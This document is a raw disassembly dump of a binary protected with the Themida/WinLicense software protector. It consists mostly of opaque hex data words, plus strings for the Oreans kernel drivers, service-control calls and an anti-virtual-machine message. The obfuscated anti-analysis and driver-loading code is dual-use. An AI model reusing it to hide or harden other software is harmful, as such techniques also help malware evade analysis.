0B58DC300h, 609B566h dd 1FCE8h, 0F0BD0300h, 830609B5h, 9B5F0BDh, 840F0006h dd 0Bh, 0A5585C7h, 10607h, 8DC30000h, 9B5DFB5h, 1D3E806h dd 0BD030000h, 609B5F0h, 0B5F0BD83h, 0F000609h, 0B84h dd 7985C700h, 106070Ch, 0C3000000h, 0B570B58Dh, 0AAE80609h dd 3000001h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0B840Fh, 85C70000h dd 6070A55h, 1, 7AB58DC3h, 0E80609B5h, 181h, 0B5F0BD03h dd 0BD830609h, 609B5F0h, 15840F00h, 0C7000000h, 70A5585h dd 106h, 185C700h, 1060731h, 0C3000000h, 0B588B58Dh, 4EE80609h dd 3000001h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h dd 6070FDDh, 1, 0B592B58Dh, 26E80609h, 3000001h, 9B5F0BDh dd 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h, 6070FDDh, 1 dd 0B59DB58Dh, 0FEE80609h, 3000000h, 9B5F0BDh, 0F0BD8306h dd 609B5h, 0A840Fh, 85C70000h, 6070181h, 1, 0B5A3B58Dh dd 0D6E80609h, 3000000h, 9B5F0BDh, 0F0BD8306h, 609B5h dd 0A840Fh, 85C70000h, 6072ACDh, 1, 0B5A9B58Dh, 0AEE80609h dd 3000000h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h dd 607183Dh, 1, 0B5B7B58Dh, 86E80609h, 3000000h, 9B5F0BDh dd 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h, 6070AE1h, 1 dd 0B5C4B58Dh, 5EE80609h, 3000000h, 9B5F0BDh, 0F0BD8306h dd 609B5h, 0A840Fh, 85C70000h, 60723E5h, 1, 0B5CFB58Dh dd 36E80609h, 3000000h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh dd 85C70000h, 6071605h, 1, 1E9h, 3F804700h, 9840F20h, 80000000h dd 850F003Fh, 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh dd 3F800000h, 2850F00h, 2B000000h, 38178AC9h, 5840F16h dd 0B9000000h, 0 aFga db 'FG>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 609B5F0h, 0AE9h, 0F085C700h dd 609B5h, 61000000h, 0E8C88BC3h, 0Dh, 0DFDAC3D3h, 560A58F6h dd 590111D3h, 0E860603Bh, 11h, 0ABD6E574h, 0AD292D26h dd 0C4E6894h, 99F4FF14h, 0B5895EC9h, 6072E9Dh, 81596161h dd 7F28CEE7h, 0A2C1812Ah, 5100006Eh, 995B58Bh, 685A0607h dd 0 dd 0BFD958Bh, 895B0607h, 7116185h, 0B34FF06h, 1CC19531h dd 0F580607h, 0F081FABFh, 2B3BD109h, 0BEE2BF66h, 0C470F081h dd 0E88167C8h, 2D1E47CEh, 2BE58D89h, 0E8500607h, 0Ch, 0E5821F0Ch dd 0FD5C9614h, 6682A628h, 161ABF66h, 19048F5Eh, 271E99BEh dd 3EB8316h, 1820Fh, 4BF90000h, 4618509h, 0FB810607h, 0FFFF9218h dd 0FF9B850Fh, 0BF66FFFFh, 0EE96771h, 33000002h, 6E6E6143h dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h dd 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 6071C4Dh, 5B866847h, 0B5FFE3E4h dd 60701A9h, 3A13858Dh, 0D0FF0607h, 10468h, 559D8D00h dd 53060702h, 8D50D0FFh, 9BC32B5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 71C4D85h dd 0FC684306h, 0FFBC8E6Eh, 701A9B5h, 13858D06h, 0FF06073Ah dd 55B58DD0h, 6A060702h, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 6071C4Dh, 0EE566857h, 0B5FFA69Bh dd 60701A9h, 3A13858Dh, 0D0FF0607h, 1259BD8Dh, 8D8D0607h dd 609BD58h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0BA3AB58Dh, 858D0609h, 609A6B5h, 8D8DD0FFh, 607715Dh dd 0B8h, 0C6E1FF00h, 71C4D85h, 0A7684306h, 0FFC0764Ah dd 701A9B5h, 13858D06h, 0FF06073Ah, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 786h dup(0) dword_569F68 dd 100h dup(0) ; DATA XREF: Themida_:005476BAo dword_56A368 dd 13Dh dup(0) ; DATA XREF: Themida_:00557964o dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 8B000000h, 258589C4h, 0B5060708h, 0FD85890Dh, 66060706h dd 0D40AD981h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0A53405C3h, 8BF88B66h, 70A718Dh dd 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h dd 43Dh, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535017h, 43Dh, 2BAD8589h, 9D8D0607h, 609B0E1h dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0C0C35141h, 0CF8B666Bh, 12E9h, 0CF959C00h, 0BE4F1A31h dd 0FCE75B76h, 35F4BBC2h, 8B7528F2h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 7C8214B1h dd 8A6D567Ch, 42C781CBh, 8B78EC80h, 12E8C0h, 2FFD0000h dd 0C5670197h, 1607866Bh, 0B7A50F6Fh, 0FD75EEBh, 17BDBD8Bh dd 835A0607h, 73101BDh, 9750006h, 0A55BD83h, 74000607h dd 8B535013h, 0B8C0h, 9D8D0000h, 609B294h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535011h, 0 dd 0B1459D8Dh, 0D3FF0609h, 0FE8585Bh, 97000000h, 0DD6A8C32h dd 4285A7E9h, 4120E95Ch, 0CE80C0C3h, 8C0F5F48h, 6, 16218D89h dd 0C08B0607h, 9E9h, 0ED4A2100h, 0D5CFF9CFh, 0C08BE1D9h dd 0D98531h, 0BD830607h, 6073101h, 83097500h, 70A55BDh dd 13740006h, 0C08B5350h, 0B8h, 0C69D8D00h, 0FF0609B1h dd 83585BD3h, 70A55BDh, 11740006h, 0B85350h, 8D000000h dd 9B1139Dh, 5BD3FF06h, 919D8958h, 0F060705h, 0C08BF8BFh dd 12399D01h, 0C08B0607h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 27C35141h, 0F8B0Fh, 0AE90000h, 0EE000000h dd 1F2FB561h, 9B82ED4Fh, 1BD83F8h, 60731h, 0BD830975h dd 6070A55h, 50137400h, 0B8C08B53h, 0 dd 0B22D9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h, 50117400h dd 0B853h, 9D8D0000h, 609B12Ch, 585BD3FFh, 1AC98531h, 0B70F0607h dd 0B6C08BD7h, 52C08B6Fh, 895FCE8Ah, 7155DBDh, 1BD8306h dd 60731h, 0BD830975h, 6070A55h, 50137400h, 0B8C08B53h dd 0 dd 0B15F9D8Dh, 0D3FF0609h, 8D8B585Bh, 6072C15h, 65CF29BAh dd 0BAC08B07h, 62B17A9Ah, 83F9C08Bh, 73101BDh, 9750006h dd 0A55BD83h, 74000607h, 8B535019h, 7D0B8C0h, 85890000h dd 6072BADh, 0B3F29D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h dd 50177400h, 7D0B853h, 85890000h, 6072BADh, 0B0E19D8Dh dd 0D3FF0609h, 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C81447C3h, 8B9F8395h, 71E09BDh dd 0B9C08B06h, 225AD546h, 1C4D85C6h, 89530607h, 705219Dh dd 5F906806h, 0BE89939h, 76000000h, 0A279CB13h, 0F55E9923h dd 890FB95Eh, 6, 0C398D8Bh, 0FF5A0607h, 701A9B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7B860776h, 0D068FE3h, 536060BDh, 6661F95Eh, 61D9A6BEh dd 3A13858Dh, 0BD890607h, 6072E95h, 8166D0FFh, 89574BEAh dd 71D899Dh, 0E1858906h, 6A060701h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 6A03C355h dd 4701F8Ah, 57138235h, 4E81CF81h, 85C67263h, 6071C4Dh dd 81666057h, 81332BE0h, 0C3C455D8h, 6686132h, 8B900452h dd 70945BDh, 0A9B5FF06h, 8B060701h, 72BE18Dh, 13858D06h dd 6A06073Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 3F5DC351h, 0D78AD0FFh, 30358589h dd 85290607h, 6070A51h, 0C6D7BF0Fh, 71C4D85h, 6A4306h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 72737CC3h, 66A35D17h, 193DF181h, 90702868h, 0D8C680BCh dd 1A9B5FFh, 8D8B0607h, 6072BD9h, 3A13858Dh, 6E90607h dd 0E1000000h, 0A9F44F30h, 29D0FFB7h, 729A18Dh, 49858906h dd 66060733h, 0E066F781h, 1C4D85C6h, 664C0607h, 688FEDBAh dd 0D9DA1CE9h, 0D8E0F60h, 0E9000000h, 8, 35DE3B9Bh, 3B319EA4h dd 3820Fh, 0BF0F0000h, 0C18061F8h, 0A9B5FF52h, 0F060701h dd 68Fh, 55BD8B00h, 2906072Fh, 71901B5h, 13858D06h, 8B06073Ah dd 0FD0FFF8h, 8589D0B7h, 60701F5h, 4567BF66h, 1C4D85C6h dd 8B460607h, 732CD8Dh, 6146806h, 6ABADEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 890FE4C3h dd 5, 74D78166h, 0A9B5FF4Ch, 23060701h, 72A59BDh, 88B96606h dd 13858DD5h, 0BF06073Ah, 0D13DD8Fh, 890FD0FFh, 4, 5D90B966h dd 1F598589h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 557F12C3h, 1CC9AF78h, 6820Fh, 9D890000h dd 6070F7Dh, 3870Fh, 8B660000h, 4D85C6FAh, 4706071Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 92C35040h, 4A992794h dd 9D86D175h, 0E268D58Ah, 608A0FB5h, 2A2DBD8Bh, 1CB90607h dd 6161F3BBh, 1A9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 25A0CBC3h, 9860Fh, 0F600000h dd 83h, 8D61F900h, 73A1385h, 8B665106h, 0D0FF5ACFh, 20E4BF66h dd 31858589h, 0BD010607h, 6070459h, 358D01h, 85C60607h dd 6071C4Dh, 958B5247h, 6072939h, 0B5F36859h, 0BF6683D0h dd 8B66BD0Dh, 0A9B5FFFBh, 0BF060701h, 3AA68FC5h, 3A13858Dh dd 0B70F0607h, 0E8D0FFFBh, 13h, 8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh dd 6F7A6422h, 5F76AD63h, 2D558589h, 6E90607h, 45000000h dd 0B57158A3h, 4D85C63Fh, 7706071Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 50C35646h, 667430A0h, 840DC981h dd 97A8A368h, 57006AF3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 607F7741h, 7D2C482Eh, 758D8BA6h dd 6606072Dh, 0FF5A9ABFh, 716BDB5h, 79958906h, 8D060717h dd 73A1385h, 0AE906h, 134D0000h, 5CF9AAC8h, 5740C2Eh, 89F8D0FFh dd 71EB185h, 0C98D0906h, 0C606071Ah, 71C4D85h, 0F6684706h dd 808728FAh, 0B5FF35E6h, 60701A9h, 0CE9020BAh, 81BD8B3Ah dd 8D060717h, 73A1385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0D6BF4E6Dh, 51B20D0Dh dd 2D39BD8Bh, 0BF5F0607h, 2C9C1B5Dh, 0D0FFF88Bh, 22498529h dd 85310607h, 6071FE9h, 2FAD8589h, 9D890607h, 6071069h dd 1C4D85C6h, 8B430607h, 72EE5BDh, 6EFC6806h, 0FFF8BC8Eh dd 701A9B5h, 0BD8D8B06h, 8D060707h, 73A1385h, 0C7816606h dd 0D0FFEC65h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 29C35242h, 264CA7EAh, 858967C8h, 6070111h, 85C6CA8Bh dd 6071C4Dh, 58A0F45h, 0BF000000h, 5E7B9CFCh, 72696968h dd 0D7BF0F8Eh, 1A9B5FFh, 8B660607h, 13858DCEh, 6A06073Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0AFA2C352h, 8B6085F3h, 704DD9Dh, 0B8665206h dd 615BDE6Dh, 7E9h, 0AB7FE800h, 3102A939h, 8B0FD0FFh, 0Dh dd 8E9h, 0EA17D900h, 50579785h, 462ABAB0h, 858916AEh, 6071F39h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9CC35242h dd 0CE8h, 381D4D00h, 4BF913CCh, 9E43360Eh, 0EA816616h dd 0C65F0903h, 71C4D85h, 0F5804406h, 0EC646825h, 8509B8F2h dd 6072121h, 1A9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0CFCE9CC3h, 858D4BD0h dd 6073A13h, 11E8h, 43664000h, 6E66B54Eh, 0BA19A9CEh, 72CA8E59h dd 8529F528h, 6072171h, 0B6D0FF59h, 598589DCh, 6A06072Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0D343C350h, 6657DE2Ch, 1AEDDA81h, 4D85C65Ah dd 4306071Ch, 0F4D9D29h, 0A7680607h, 8BC0764Ah, 723C595h dd 0A9B5FF06h, 0E9060701h, 12h, 0C1EB8036h, 23544725h dd 70E2AF2Bh, 9C5C2761h, 858D28CAh, 6073A13h, 33559D89h dd 0D0FF0607h, 0A3D18166h, 0F1858925h, 8906071Dh, 71BC98Dh dd 1BBD8006h, 60A01h, 0C3840Fh, 800F0000h, 6, 0F622E281h dd 858D707Ah, 60A00FDh, 4EDB589h, 81500607h, 4BE1DEE2h dd 9016A7Eh, 71E49BDh, 48C0F06h, 66000000h, 6AB4ACBAh dd 0AE900h, 0AE660000h, 75B208E5h, 9CFC0949h, 0EA8A006Ah dd 334995FFh, 0E9600607h, 12h, 4C57C3FEh, 0DC8AE976h, 4FFD6DC3h dd 0AA89FDBh, 8D0F1206h, 6, 10E9B589h, 89610607h, 7169185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 995298Fh, 6A060733h, 0EE9FFh, 0AC1D0000h dd 6FB4F653h, 7BE89E3Dh, 255FFDFDh, 1691B5FFh, 958B0607h dd 6072D69h, 303595FFh, 0F5800607h, 0FC08B9Ah, 0BD83CFBFh dd 6073101h, 83097500h, 70A55BDh, 19740006h, 0C08B5350h dd 7D1B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h dd 55BD8358h, 6070Ah, 53501774h, 7D1B8h, 0AD858900h, 8D06072Bh dd 9B0E19Dh dd 5BD3FF06h, 8C0F5758h, 2, 0E8596160h, 10h, 0BB7126F7h dd 9544D79Dh, 582EF027h, 0F694E312h, 8E8h, 5A8D3A00h, 1DA8484Ah dd 0B1B58965h, 5A060723h, 80C08B59h, 85C6D1DEh, 6071C4Dh dd 8D952B47h, 6806071Bh, 93C8F7C1h, 89FEC580h, 70795BDh dd 0A9B5FF06h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 2559C355h, 6E5095EFh dd 958B8990h, 6073049h, 0BE9h, 3E4EEA00h, 675BF610h, 0BC5773CFh dd 3A13858Dh, 0D0FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 48C35545h, 807CA811h, 6A5002CAh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 809C353h, 97842006h, 53E858Dh, 8F0F060Ah, 12h, 0C8D0Fh dd 6E80000h, 0A4000000h, 9BAE441Ah, 0C75AC4h, 94h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2CC35747h, 81674D51h dd 0CE9D0E1h, 0B000000h, 9E363387h, 816AC853h, 5889CC0Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 89C35242h dd 3EB58DF9h, 81060A05h, 48A25AC7h, 840F5668h, 6, 16598D89h dd 0D0FF0607h, 0EA37B966h, 53E858Dh, 958B060Ah, 6072F31h dd 6047883h, 16850Fh, 0BD890000h, 60717D1h, 5D285C7h, 1060Ah dd 958B0000h, 607235Dh, 8F1BD83h, 0F000607h, 3E85h, 69858900h dd 8306072Ch, 0A05D2BDh, 850F0006h, 2Bh, 3138E981h, 0BD83638Bh dd 6071F75h, 18840F00h, 9000000h, 72F55BDh, 6185C706h dd 60715h, 8B000000h, 70B0195h, 66D18A06h, 9589DB8Ch, 60708C1h dd 0F04C3F6h, 59D84h, 0ADBD0300h, 0C7060731h, 7199585h dd 6, 618D8B00h, 8006071Bh, 0A0128BDh, 850F0006h, 0 dd 1C4D85C6h, 6A470607h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 99AC356h, 8123E32Fh dd 94F81CD1h, 5B866826h, 8DB9E3E4h, 80427E1Eh, 0B5FF32D5h dd 60701A9h, 2800Fh, 0F98B0000h, 2199B509h, 858D0607h dd 6073A13h, 11860Fh, 0CE90000h, 0E7000000h, 0F4160A18h dd 308F3DE6h, 0FF71688Dh, 258589D0h, 6806072Bh, 104h, 0C403DF81h dd 9D8D403Fh, 6070255h, 6A53D78Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0CA28C356h dd 0AE1985CCh, 18160696h, 12E8h, 0AABB5800h, 361D6B6Ah dd 0F61C8D0h, 59915907h, 819B7D2Bh, 282CBBD7h, 0D0FF5F38h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h dd 4D9AA630h, 0FE8BE022h, 858DF08Ah, 6070255h, 50D78B66h dd 0DA858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 631EA4C3h, 29234C12h, 707E195h dd 840F5006h, 16h, 10890Fh, 0AE80000h, 55000000h, 81659836h dd 0A44B3F77h, 858D5A24h, 609F7ADh, 7BD8D8Bh, 8B500607h dd 0D98166F9h, 95FF3118h, 6071EB1h, 6840Fh, 958B0000h dd 607091Dh, 0C483FE8Bh, 0E7BF660Ch, 68006A55h, 80h, 6A036Ah dd 68006Ah, 8D800000h, 9F7AD85h, 95FF5006h, 6070111h, 0BD8589h dd 85C6060Ah, 6071C4Dh, 5E876847h, 0B5FFC7B1h, 60701A9h dd 3A13858Dh, 0D0FF0607h, 0B5FF006Ah, 60A00BDh, 0BD8BD0FFh dd 60731A1h, 14E9h, 79273400h, 0F1C57586h, 8C385D4Ah, 0D8E3F668h dd 0FB248160h, 37D03DAFh, 830F0000h, 3Ch, 615213B9h, 0BDB5FF7Eh dd 0F060A00h, 178Dh, 118F0F00h, 0E8000000h, 0Bh, 999A8A77h dd 1AAF7307h, 5919D9DDh, 0F195FFF9h, 8906071Dh, 72CFD9Dh dd 0F6E906h, 0CF8A0000h, 0BDB5FFh, 6FBF060Ah, 0FF2DBE17h dd 71DF195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 63C5AF24h, 81667543h, 6AAC94E1h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 33D1B816h, 31EB50D8h, 66006AFEh, 0ED2DEA81h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 45B562C3h, 2952006Ah, 700A98Dh, 6A5A06h dd 0F1858956h, 5906072Ch, 958B006Ah, 60716F5h, 0C1858Dh dd 8166060Ah, 502E4AC7h, 0E0BF6660h, 918D8B4Eh, 61060710h dd 95FFF38Ah, 6070111h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0BEC35242h, 209A1BB2h, 55B151C8h, 61B5299Ah dd 8306072Fh, 850FFFF8h, 170h, 0BC4D858Dh, 0D0FF0609h dd 0C8C0Fh, 890F0000h, 6, 8C0Fh, 6A0000h, 958B5750h, 6071A49h dd 6A5A5Fh, 1D0DCA81h, 6A0C80h, 1E498D33h, 6A0607h, 6ACEB70Fh dd 0CCDF8100h, 666BCC96h, 6A9C181h, 14E9006Ah, 0D2000000h dd 0E38FE626h, 0E5D32AC3h, 9A5D8C5Bh, 7DDEF3D2h, 8D6FAE90h dd 0A00C185h, 0E18A6006h, 16EDB589h, 50610607h, 95FFF78Ah dd 6070111h, 19E1BD8Bh, 0F8830607h, 0E5850FFFh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 3C2EC350h, 0A98D8B81h, 8B06071Eh, 72C958Dh dd 0C9B58D06h, 600609FAh, 2D85858Bh, 89610607h, 7270995h dd 0B5858D06h, 810609A6h, 2BADC4D2h, 6AD0FF4Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 8198C352h, 0D981662Ch, 8166975Dh, 6A22FDF2h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 5F78E59Eh, 0B58D3376h, 60060719h, 7E8h, 0B7CC7C00h dd 0FAC59408h, 7559D29h, 8B590607h, 71BFDBDh, 8B666106h dd 3995FFFAh, 6A06071Fh, 3E85000h, 